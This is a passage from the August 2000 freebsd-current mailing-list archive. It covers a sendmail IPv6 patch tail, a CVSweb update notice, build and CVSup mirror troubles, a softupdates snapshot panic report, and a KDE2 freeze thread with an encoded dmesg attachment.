SIOCGIFAFLAG_IN6, &ifr6) < 0) > + { > + if (tTd(0, 4)) > + dprintf("SIOCGIFAFLAG_IN6 failed: %s\n", > + errstring(errno)); > + continue; > + } > + if (ifr6.ifr_ifru.ifru_flags6 & IN6_IFF_ANYCAST) > + continue; > +# endif /* SIOCGIFAFLAG_IN6 */ > + > /* save IP address in text from */ > addr = anynet_ntop(&ia6, buf6, sizeof buf6); > if (addr != NULL) > @@ -5123,6 +5154,10 @@ > } > free(ifc.ifc_buf); > (void) close(s); > +# if NETINET6 && defined(SIOCGIFAFLAG_IN6) > + if (s6 >= 0) > + (void) close(s6); > +# endif /* NETINET6 && SIOCGIFAFLAG_IN6 */ > # undef IFRFREF > # endif /* defined(SIOCGIFCONF) && !SIOCGIFCONF_IS_BROKEN */ > #endif /* NETINET6 && defined(SIOCGLIFCONF) */ > > -- > Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan > ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org > http://www.imasy.org/~ume/ > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Aug 14 3:20:18 2000 Delivered-To: freebsd-current@freebsd.org Received: from ms.tokyo.jcom.ne.jp (ms.tokyo.jcom.ne.jp [210.234.123.18]) by hub.freebsd.org (Postfix) with ESMTP id B01B137BA14; Mon, 14 Aug 2000 03:20:03 -0700 (PDT) (envelope-from knu@idaemons.org) Received: from daemon.local.idaemons.org (203-165-77-17.sugnm1.kt.home.ne.jp [203.165.77.17]) by ms.tokyo.jcom.ne.jp (8.9.3/3.7W 04/27/00) with ESMTP id TAA08294; Mon, 14 Aug 2000 19:20:02 +0900 (JST) Received: by daemon.local.idaemons.org (8.9.3/3.7W) id TAA47163; Mon, 14 Aug 2000 19:19:30 +0900 (JST) Date: Mon, 14 Aug 2000 19:19:29 +0900 Message-ID: <861yzsxhzi.wl@localhost.local.idaemons.org> From: "Akinori -Aki- MUSHA" To: www@FreeBSD.org, freebsd-doc@FreeBSD.org, freebsd-current@FreeBSD.org, cvs-committers@FreeBSD.org Subject: HEADS UP: our CVSweb has been updated User-Agent: Wanderlust/2.3.0 (Roam) EMIKO/1.13.12 (Euglena sociabilis) FLIM/1.13.2 (Kasanui) APEL/10.2 MULE XEmacs/21.1 (patch 11) (Carlsbad Caverns) (i386--freebsd) Organization: Associated I. Daemons X-PGP-Public-Key: finger knu@FreeBSD.org X-PGP-Fingerprint: 081D 099C 1705 861D 4B70 B04A 920B EFC7 9FD9 E1EE X-PGP-Comment: I changed my key on 2000-08-10 MIME-Version: 1.0 (generated by EMIKO 1.13.12 - "Euglena sociabilis") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear FreeBSD WWW server administrators, Today I have updated our CVSweb to the new version that is based on the effort of Henner Zeller and other folks. I imported cvsweb.conf and cvsweb.conf-* files in the same directory as cvsweb.cgi is so we could maintain them as well as cvsweb.cgi. They are read only when there are no /usr/local/etc/cvsweb.conf, so please copy them to your local directory /usr/local/etc/ and configure them as they suit your local environment. (e.g. changing locations of repositories) Also, now that cvsweb.cgi requires perl5 which is assumed to exist by the path `/usr/bin/perl5' to run, 2.x-STABLE servers must have perl5 installed from ports and create a symlink by doing `ln -s /usr/local/bin/perl5 /usr/bin'. I am sorry to trouble you, but I hope this update would be successful. Regards, -- / /__ __ / ) ) ) ) / Akinori -Aki- MUSHA aka / (_ / ( (__( @ idaemons.org / FreeBSD.org "We're only at home when we're on the run, on the wing, on the fly" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Aug 14 7:17:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from reliant.nielsenmedia.com (reliant.nielsenmedia.com [205.129.32.15]) by hub.freebsd.org (Postfix) with ESMTP id 1CA4B37B594 for ; Mon, 14 Aug 2000 07:17:03 -0700 (PDT) (envelope-from David_W_Gray@tvratings.com) Received: from nmrusdunsxg0.nielsenmedia.com (nmrusdunsxg0.nielsenmedia.com [10.9.11.120]) by reliant.nielsenmedia.com (8.9.3/8.9.3) with ESMTP id KAA26191 for ; Mon, 14 Aug 2000 10:16:58 -0400 (EDT) Received: by nmrusdunsxg0.nielsenmedia.com with Internet Mail Service (5.5.2651.58) id ; Mon, 14 Aug 2000 10:16:58 -0400 Message-ID: <01D4D419B1A4D111A30400805FE65B13070ABFB5@nmrusdunsx1.nielsenmedia.com> From: "Gray, David W." To: "'FreeBSD Current list'" Subject: make release problem Date: Mon, 14 Aug 2000 10:16:50 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had earlier written (to deafening silence) that I had been unable to build a release from current. Buildworlds worked OK, but make release didn't. I have since figured out what was not working, but this leads to another question. On my particular box, I don't have a whole lot of room on /usr, so I was building the world on /home, e.g. export MAKEOBJDIRPREFIX=/home/current. The world would build, but make release died compiling the boot crunch. There are a slew of derived files in /bin/sh - yacc output and such - that are not found. I discovered that just symlinking /usr/obj to the right place, and not setting MAKEOBJDIRPREFIX works just fine. I made a shot at trying to fix this, but quite frankly I must agree with the comment in the release Makefile - "You are not expected to like this." Is this considered a bug worth fixing? If not, at least this will be in the archive for the next confused person... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Aug 14 7:24:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from RedDust.BlueSky.net.au (reddust.bluesky.net.au [203.31.37.15]) by hub.freebsd.org (Postfix) with ESMTP id 7ACF337BDC1 for ; Mon, 14 Aug 2000 07:24:49 -0700 (PDT) (envelope-from receiver@RedDust.BlueSky.net.au) Received: from localhost (receiver@localhost) by RedDust.BlueSky.net.au (8.9.3/8.9.3) with ESMTP id AAA82649; Tue, 15 Aug 2000 00:25:09 +1000 (EST) (envelope-from receiver@RedDust.BlueSky.net.au) Date: Tue, 15 Aug 2000 00:25:09 +1000 (EST) From: Idea Receiver To: Warner Losh Cc: freebsd-current@FreeBSD.ORG Subject: Re: fail to compile kernel... In-Reply-To: <200008131536.JAA08660@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 13 Aug 2000, Warner Losh wrote: > In message Idea Receiver writes: > : > In message Idea Receiver writes: > : > : i have try to upgrade one of my 4.1 release to -current. > : > : however, when i try to build the kernel, it failed as following > : > : message. > : > > : > Upgrade your sources and try again. > : > > : > Warner > : > : cvsed this morning.... (8 hrs ago..) > : and still doesnt work.. > > Where did you get your sources? As of 12:00 last night, the sources I > grabbed from cvsup8 completed both a make buildworld and make > buildkernel in a fresh tree. > i got my sources from cvsup5.. i change it to cvsup2 this morning. now everything works fine. thank you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Aug 14 10: 7: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from xellos.bignet.net (xellos.bignet.net [64.79.64.6]) by hub.freebsd.org (Postfix) with ESMTP id 4381E37BE27; Mon, 14 Aug 2000 10:06:54 -0700 (PDT) (envelope-from will@almanac.yi.org) Received: from argon.gryphonsoft.com (mcut-b-078.resnet.purdue.edu [128.211.209.78]) by xellos.bignet.net (8.9.3/8.9.3) with ESMTP id NAA03717; Mon, 14 Aug 2000 13:06:46 -0400 Received: by argon.gryphonsoft.com (Postfix, from userid 1000) id 287C6197F; Mon, 14 Aug 2000 13:03:30 -0400 (EDT) Date: Mon, 14 Aug 2000 13:03:30 -0400 From: Will Andrews To: Akinori -Aki- MUSHA Cc: www@FreeBSD.org, freebsd-doc@FreeBSD.org, freebsd-current@FreeBSD.org, cvs-committers@FreeBSD.org Subject: Re: HEADS UP: our CVSweb has been updated Message-ID: <20000814130330.D1684@argon.gryphonsoft.com> References: <861yzsxhzi.wl@localhost.local.idaemons.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <861yzsxhzi.wl@localhost.local.idaemons.org>; from knu@idaemons.org on Mon, Aug 14, 2000 at 07:19:29PM +0900 X-Operating-System: FreeBSD 5.0-CURRENT i386 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 14, 2000 at 07:19:29PM +0900, Akinori -Aki- MUSHA wrote: > I imported cvsweb.conf and cvsweb.conf-* files in the same directory > as cvsweb.cgi is so we could maintain them as well as cvsweb.cgi. > They are read only when there are no /usr/local/etc/cvsweb.conf, so > please copy them to your local directory /usr/local/etc/ and configure > them as they suit your local environment. (e.g. changing locations of > repositories) Thank you *VERY*MUCH*. -- Will Andrews GCS/E/S @d- s+:+ a--- C++ UB++++$ P+ L- E--- W+ N-- !o ?K w--- O- M+ V- PS+ PE++ Y+ PGP+>+++ t++ 5 X+ R+ tv+ b++ DI+++ D+ G++ e>++++ h! r- y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Aug 14 12:16:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail1.rdc1.sfba.home.com (mail1.rdc1.sfba.home.com [24.0.0.74]) by hub.freebsd.org (Postfix) with ESMTP id 8A0FB37BB1F for ; Mon, 14 Aug 2000 12:16:46 -0700 (PDT) (envelope-from boshea@ricochet.net) Received: from beastie.localdomain ([24.19.158.41]) by mail1.rdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with ESMTP id <20000814191646.UURA14324.mail1.rdc1.sfba.home.com@beastie.localdomain>; Mon, 14 Aug 2000 12:16:46 -0700 Received: (from brian@localhost) by beastie.localdomain (8.9.3/8.8.7) id MAA14179; Mon, 14 Aug 2000 12:17:23 -0700 (PDT) (envelope-from brian) Date: Mon, 14 Aug 2000 12:17:23 -0700 From: "Brian O'Shea" To: "Ilmar S. Habibulin" Cc: freebsd-current@FreeBSD.ORG Subject: Re: strange freeze while starting kde2 :( Message-ID: <20000814121723.T351@beastie.localdomain> Reply-To: boshea@ricochet.net Mail-Followup-To: "Ilmar S. Habibulin" , freebsd-current@FreeBSD.ORG References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Ilmar S. Habibulin on Sun, Aug 13, 2000 at 11:09:25AM +0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Aug 13, 2000 at 11:09:25AM +0400, Ilmar S. Habibulin wrote: > > While starting kde2 beta my pc freezes and i have to push power off > button. After reboot i hade to run fsck, because of "strange > inconsistency". Some files(created by kde startup) were broken and contain > corrupted data. Kernel doesn't panic, it just freezes. > > How can i examine this situation more detailed? Can anybody help? Are you certain that the kernel is hanging and not just the graphics display? Can you try logging in remotely over the network, or possibly on a serial port? Also, please include : - A description of the hardware you are using - When you last updated -current sources Thanks, -brian -- Brian O'Shea boshea@ricochet.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Aug 14 16:23:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id EDE3937B6E7 for ; Mon, 14 Aug 2000 16:17:51 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id QAA12875 for ; Mon, 14 Aug 2000 16:17:51 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id QAA02756; Mon, 14 Aug 2000 16:17:50 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Mon, 14 Aug 2000 16:17:50 -0700 (PDT) Message-Id: <200008142317.QAA02756@vashon.polstra.com> To: current@freebsd.org Reply-To: current@freebsd.org Subject: Re: Build breakage (was: fail to compile kernel...) In-Reply-To: <14743.28.213436.747232@guru.mired.org> References: <14742.23628.110336.924637@guru.mired.org> <200008130714.BAA07153@harmony.village.org> <200008131542.JAA08725@harmony.village.org> <14743.28.213436.747232@guru.mired.org> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <14743.28.213436.747232@guru.mired.org>, Mike Meyer wrote: > > Yes, the version I have is out of date. It came from > cvsup5.freebsd.org over 24 hours after the commit. Everybody, if you find that a CVSup mirror site is running that far behind, please drop a note to the site's maintainer. All of the maintainers are listed in the Handbook along with the mirror sites. Thanks, John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Aug 14 16:32:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by hub.freebsd.org (Postfix) with ESMTP id 5AB1E37BE6D for ; Mon, 14 Aug 2000 16:30:34 -0700 (PDT) (envelope-from ken@panzer.kdm.org) Received: (from ken@localhost) by panzer.kdm.org (8.9.3/8.9.1) id RAA74222; Mon, 14 Aug 2000 17:30:32 -0600 (MDT) (envelope-from ken) Date: Mon, 14 Aug 2000 17:30:32 -0600 From: "Kenneth D. Merry" To: current@FreeBSD.ORG Cc: mckusick@mckusick.com Subject: softupdates panic, possibly related to snapshots Message-ID: <20000814173032.A74181@panzer.kdm.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I had a panic today on a -current box from early August 3rd. This is all I got out of the crash dump: ============================================================================== # gdb -k /a/ken/perforce/cam/sys/compile/roadwarrior/kernel.debug vmcore.2 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-unknown-freebsd"... IdlePTD 3723264 initial pcb at 2fc240 panicstr: handle_workitem_freeblocks: block count panic messages: --- dmesg: kvm_read: invalid address (f0403000) --- #0 boot (howto=Cannot access memory at address 0xc9394dec. ) at ../../kern/kern_shutdown.c:303 303 dumppcb.pcb_cr3 = rcr3(); (kgdb) where #0 boot (howto=Cannot access memory at address 0xc9394dec. ) at ../../kern/kern_shutdown.c:303 Cannot access memory at address 0xc9394de4. (kgdb) ============================================================================== All local filesystems on the machine, except /, are running softupdates: ============================================================================== {roadwarrior:/usr/home/ken:2:0} df Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/da0s2a 63503 52026 6397 89% / /dev/da0s2e 198399 153494 29034 84% /var /dev/da0s2f 3290562 2961377 65941 98% /usr /dev/da1s1a 8648870 7154983 801978 90% /a procfs 4 4 0 100% /proc pluto:/usr/local 4065262 1936074 1803968 52% /usr/local2 {roadwarrior:/usr/home/ken:3:0} mount /dev/da0s2a on / (ufs, NFS exported, local, writes: sync 8 async 51, reads: sync 497 async 68) /dev/da0s2e on /var (ufs, local, soft-updates, writes: sync 146 async 2399, reads: sync 94 async 1) /dev/da0s2f on /usr (ufs, NFS exported, local, soft-updates, writes: sync 2 async 160, reads: sync 652 async 93) /dev/da1s1a on /a (ufs, NFS exported, local, soft-updates, writes: sync 2 async 87, reads: sync 546 async 207) procfs on /proc (procfs, local) pluto:/usr/local on /usr/local2 (nfs) {roadwarrior:/usr/home/ken:4:0} ============================================================================== The crash happened shortly after I created, mounted and removed a snapshot. Here's what I did, more or less: mkdir /var/snapshots mount -u -o snapshot /var/snapshots/snap1 /var vnconfig -c /dev/vn0c /var/snapshots/snap1 mount /dev/vn0c /mnt ls /mnt/... [ a little more looking around ] umount /mnt vnconfig -u /dev/vn0c cd /var/snapshots rm snap1 cd rmdir /var/snapshots Then I went back to doing other stuff, and a minute or two later, the machine rebooted. I didn't think it had time to generate a 128MB crash dump, but evidently it did. If anyone wants more information, just let me know, although I'm not sure if I'm really eager to panic the machine again. :) (I've got a test box that would be better for testing, though.) Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Aug 14 22:48:19 2000 Delivered-To: freebsd-current@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id 1B8DC37B556 for ; Mon, 14 Aug 2000 22:48:14 -0700 (PDT) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id JAA22489; Tue, 15 Aug 2000 09:48:05 +0400 (MSD) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdd22487; Tue Aug 15 09:47:58 2000 Date: Tue, 15 Aug 2000 09:47:58 +0400 (MSD) From: "Ilmar S. Habibulin" To: "Brian O'Shea" Cc: freebsd-current@FreeBSD.ORG Subject: Re: strange freeze while starting kde2 :( In-Reply-To: <20000814121723.T351@beastie.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="0-232232808-966318478=:9210" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-232232808-966318478=:9210 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 14 Aug 2000, Brian O'Shea wrote: > > How can i examine this situation more detailed? Can anybody help? > Are you certain that the kernel is hanging and not just the graphics > display? Can you try logging in remotely over the network, or possibly > on a serial port? I switched to the first virtual console and run top. It freezes too. > Also, please include : > - A description of the hardware you are using dmesg output in the attachment, ok? > - When you last updated -current sources 3-4 days ago. --0-232232808-966318478=:9210 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=dmesg Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=dmesg Q29weXJpZ2h0IChjKSAxOTkyLTIwMDAgVGhlIEZyZWVCU0QgUHJvamVjdC4N CkNvcHlyaWdodCAoYykgMTk3OSwgMTk4MCwgMTk4MywgMTk4NiwgMTk4OCwg MTk4OSwgMTk5MSwgMTk5MiwgMTk5MywgMTk5NA0KCVRoZSBSZWdlbnRzIG9m IHRoZSBVbml2ZXJzaXR5IG9mIENhbGlmb3JuaWEuIEFsbCByaWdodHMgcmVz ZXJ2ZWQuDQpGcmVlQlNEIDUuMC1DVVJSRU5UICMxOiBTYXQgQXVnIDEyIDEy OjQwOjQ3IE1TRCAyMDAwDQogICAgcm9vdEB3cy1pbG1hci5pbnRzLnJ1Oi92 YXIvZnRwL3B1Yi9GcmVlQlNEL2N1cnJlbnQtc3JjL3N5cy9jb21waWxlL1dT X0lMTUFSDQpUaW1lY291bnRlciAiaTgyNTQiICBmcmVxdWVuY3kgMTE5MzE4 MiBIeg0KQ1BVOiBQZW50aXVtIElJL1BlbnRpdW0gSUkgWGVvbi9DZWxlcm9u ICgzNjcuNTAtTUh6IDY4Ni1jbGFzcyBDUFUpDQogIE9yaWdpbiA9ICJHZW51 aW5lSW50ZWwiICBJZCA9IDB4NjYwICBTdGVwcGluZyA9IDANCiAgRmVhdHVy ZXM9MHgxODNmOWZmPEZQVSxWTUUsREUsUFNFLFRTQyxNU1IsUEFFLE1DRSxD WDgsU0VQLE1UUlIsUEdFLE1DQSxDTU9WLFBBVCxQU0UzNixNTVgsRlhTUj4N CnJlYWwgbWVtb3J5ICA9IDEzNDE1MjE5MiAoMTMxMDA4SyBieXRlcykNCmF2 YWlsIG1lbW9yeSA9IDEyNjY0MDEyOCAoMTIzNjcySyBieXRlcykNClByZWxv YWRlZCBlbGYga2VybmVsICJrZXJuZWwiIGF0IDB4YzAzZTQwMDAuDQpzZXEw LTYzOiBNaWRpIHNlcXVlbmNlcnMuDQpQZW50aXVtIFBybyBNVFJSIHN1cHBv cnQgZW5hYmxlZA0KbWQwOiBNYWxsb2MgZGlzaw0KYXBtMDogPEFQTSBCSU9T PiBvbiBtb3RoZXJib2FyZA0KYXBtMDogZm91bmQgQVBNIEJJT1MgdjEuMiwg Y29ubmVjdGVkIGF0IHYxLjINCm5weDA6IDxtYXRoIHByb2Nlc3Nvcj4gb24g bW90aGVyYm9hcmQNCm5weDA6IElOVCAxNiBpbnRlcmZhY2UNCnBjaWIwOiA8 SW50ZWwgODI0NDNCWCAoNDQwIEJYKSBob3N0IHRvIFBDSSBicmlkZ2U+IG9u IG1vdGhlcmJvYXJkDQpwY2kwOiA8UENJIGJ1cz4gb24gcGNpYjANCnBjaTA6 IDxJbnRlbCA4MjQ0M0JYICg0NDAgQlgpIGhvc3QgdG8gUENJIGJyaWRnZT4g YXQgMC4wDQpwY2liMTogPEludGVsIDgyNDQzQlggKDQ0MCBCWCkgUENJLVBD SSAoQUdQKSBicmlkZ2U+IGF0IGRldmljZSAxLjAgb24gcGNpMA0KcGNpMTog PFBDSSBidXM+IG9uIHBjaWIxDQppc2FiMDogPEludGVsIDgyMzcxQUIgUENJ IHRvIElTQSBicmlkZ2U+IGF0IGRldmljZSA3LjAgb24gcGNpMA0KaXNhMDog PElTQSBidXM+IG9uIGlzYWIwDQphdGFwY2kwOiA8SW50ZWwgUElJWDQgQVRB MzMgY29udHJvbGxlcj4gcG9ydCAweGYwMDAtMHhmMDBmIGF0IGRldmljZSA3 LjEgb24gcGNpMA0KYXRhMDogYXQgMHgxZjAgaXJxIDE0IG9uIGF0YXBjaTAN CmF0YTE6IGF0IDB4MTcwIGlycSAxNSBvbiBhdGFwY2kwDQpwY2kwOiA8SW50 ZWwgODIzNzFBQi9FQiAoUElJWDQpIFVTQiBjb250cm9sbGVyPiBhdCA3LjIg aXJxIDExDQppbnRwbTA6IDxJbnRlbCA4MjM3MUFCIFBvd2VyIG1hbmFnZW1l bnQgY29udHJvbGxlcj4gcG9ydCAweDUwMDAtMHg1MDBmIGlycSA5IGF0IGRl dmljZSA3LjMgb24gcGNpMA0KaW50cG0wOiBJL08gbWFwcGVkIDUwMDANCmlu dHBtMDogaW50ciBJUlEgOSBlbmFibGVkIHJldmlzaW9uIDANCnNtYnVzMDog PFN5c3RlbSBNYW5hZ2VtZW50IEJ1cz4gb24gaW50c21iMA0Kc21iMDogPFNN QnVzIGdlbmVyYWwgcHVycG9zZSBJL08+IG9uIHNtYnVzMA0KaW50cG0wOiBQ TSBJL08gbWFwcGVkIDQwMDAgDQpwY2kwOiA8TWF0cm94IE1HQSBNaWxsZW5u aXVtIDIwNjRXIGdyYXBoaWNzIGFjY2VsZXJhdG9yPiBhdCA5LjAgaXJxIDkN CnJsMDogPFJlYWxUZWsgODEzOSAxMC8xMDBCYXNlVFg+IHBvcnQgMHhlNDAw LTB4ZTQ3ZiBtZW0gMHhlNzAwMDAwMC0weGU3MDAwMDdmIGlycSAxMSBhdCBk ZXZpY2UgMTEuMCBvbiBwY2kwDQpybDA6IEV0aGVybmV0IGFkZHJlc3M6IDAw OmMwOmRmOjIzOjYwOmUyDQptaWlidXMwOiA8TUlJIGJ1cz4gb24gcmwwDQpy bHBoeTA6IDxSZWFsVGVrIGludGVybmFsIG1lZGlhIGludGVyZmFjZT4gb24g bWlpYnVzMA0KcmxwaHkwOiAgMTBiYXNlVCwgMTBiYXNlVC1GRFgsIDEwMGJh c2VUWCwgMTAwYmFzZVRYLUZEWCwgYXV0bw0KYXRrYmRjMDogPEtleWJvYXJk IGNvbnRyb2xsZXIgKGk4MDQyKT4gYXQgcG9ydCAweDYwLDB4NjQgb24gaXNh MA0KYXRrYmQwOiA8QVQgS2V5Ym9hcmQ+IGlycSAxIG9uIGF0a2JkYzANCmti ZDAgYXQgYXRrYmQwDQpmZGMwOiA8TkVDIDcyMDY1QiBvciBjbG9uZT4gYXQg cG9ydCAweDNmMC0weDNmNSwweDNmNyBpcnEgNiBkcnEgMiBvbiBpc2EwDQpm ZGMwOiBGSUZPIGVuYWJsZWQsIDggYnl0ZXMgdGhyZXNob2xkDQpmZDA6IDwx NDQwLUtCIDMuNSIgZHJpdmU+IG9uIGZkYzAgZHJpdmUgMA0KcHBjMDogPFBh cmFsbGVsIHBvcnQ+IGF0IHBvcnQgMHgzNzgtMHgzN2YgaXJxIDcgb24gaXNh MA0KcHBjMDogR2VuZXJpYyBjaGlwc2V0IChOSUJCTEUtb25seSkgaW4gQ09N UEFUSUJMRSBtb2RlDQpwbGlwMDogPFBMSVAgbmV0d29yayBpbnRlcmZhY2U+ IG9uIHBwYnVzMA0KbHB0MDogPFByaW50ZXI+IG9uIHBwYnVzMA0KbHB0MDog SW50ZXJydXB0LWRyaXZlbiBwb3J0DQpwcGkwOiA8UGFyYWxsZWwgSS9PPiBv biBwcGJ1czANCnNjMDogPFN5c3RlbSBjb25zb2xlPiBvbiBpc2EwDQpzYzA6 IFZHQSA8MTYgdmlydHVhbCBjb25zb2xlcywgZmxhZ3M9MHgyMDA+DQpzaW8w IGF0IHBvcnQgMHgzZjgtMHgzZmYgaXJxIDQgZmxhZ3MgMHgxMCBvbiBpc2Ew DQpzaW8wOiB0eXBlIDE2NTUwQQ0Kc2lvMSBhdCBwb3J0IDB4MmY4LTB4MmZm IGlycSAzIG9uIGlzYTANCnNpbzE6IHR5cGUgMTY1NTBBDQp2Z2EwOiA8R2Vu ZXJpYyBJU0EgVkdBPiBhdCBwb3J0IDB4M2MwLTB4M2RmIGlvbWVtIDB4YTAw MDAtMHhiZmZmZiBvbiBpc2EwDQpzYmMwOiA8RVNTIEVTMTg2OD4gYXQgcG9y dCAweDIyMC0weDIyZiwweDM4OC0weDM4YiwweDMzMC0weDMzMSBpcnEgNSBk cnEgMSwwIG9uIGlzYTANCnBjbTA6IDxFU1MgMTh4eCBEU1A+IG9uIHNiYzAN Cm1pZGkwOiA8U0IgTWlkaSBJbnRlcmZhY2U+IG9uIHNiYzANCm1pZGkxOiA8 U0IgT1BMIEZNIFN5bnRoZXNpemVyPiBvbiBzYmMwDQp1bmtub3duOiA8UE5Q MDMwMz4gY2FuJ3QgYXNzaWduIHJlc291cmNlcw0KdW5rbm93bjogPFBOUDBh MDM+IGNhbid0IGFzc2lnbiByZXNvdXJjZXMNCnVua25vd246IDxQTlAwNTAx PiBjYW4ndCBhc3NpZ24gcmVzb3VyY2VzDQp1bmtub3duOiA8UE5QMDcwMD4g Y2FuJ3QgYXNzaWduIHJlc291cmNlcw0KdW5rbm93bjogPFBOUDA0MDA+IGNh bid0IGFzc2lnbiByZXNvdXJjZXMNCnVua25vd246IDxQTlAwNTAxPiBjYW4n dCBhc3NpZ24gcmVzb3VyY2VzDQpJUHNlYzogSW5pdGlhbGl6ZWQgU2VjdXJp dHkgQXNzb2NpYXRpb24gUHJvY2Vzc2luZy4NCmFkMDogMzA3N01CIDxTVDMz MjMyQT4gWzYyNTMvMTYvNjNdIGF0IGF0YTAtbWFzdGVyIHVzaW5nIFVETUEz Mw0KYXRhMS1tYXN0ZXI6IERNQSBsaW1pdGVkIHRvIFVETUEzMywgbm9uLUFU QTY2IGNvbXBsaWFudCBjYWJsZQ0KYWQyOiAxOTU3NE1CIDxJQk0tRFBUQS0z NzIwNTA+IFszOTc3MC8xNi82M10gYXQgYXRhMS1tYXN0ZXIgdXNpbmcgVURN QTMzDQphY2QwOiBDRFJPTSA8SElUQUNISSBDRFItODMzNT4gYXQgYXRhMS1z bGF2ZSB1c2luZyBXRE1BMg0KTW91bnRpbmcgcm9vdCBmcm9tIHVmczovZGV2 L2FkMHMyYQ0K --0-232232808-966318478=:9210-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 0:38:38 2000 Delivered-To: freebsd-current@freebsd.org Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by hub.freebsd.org (Postfix) with ESMTP id 7BB5E37B8D8 for ; Tue, 15 Aug 2000 00:38:34 -0700 (PDT) (envelope-from jazepeda@pacbell.net) Received: from ppp-207-214-149-87.snrf01.pacbell.net ([207.214.149.87]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0FZB00G2PP0ZR4@mta6.snfc21.pbi.net> for freebsd-current@FreeBSD.ORG; Tue, 15 Aug 2000 00:34:13 -0700 (PDT) Date: Tue, 15 Aug 2000 00:35:29 -0700 (PDT) From: Alex Zepeda Subject: Re: strange freeze while starting kde2 :( In-reply-to: X-Sender: alex@zippy.pacbell.net To: "Ilmar S. Habibulin" Cc: Brian O'Shea , freebsd-current@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What version of XFree86 are you using? Make sure it's != 4.0.0. - alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Aug 15 4:29:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from axl.ops.uunet.co.za (axl.ops.uunet.co.za [196.31.2.163]) by 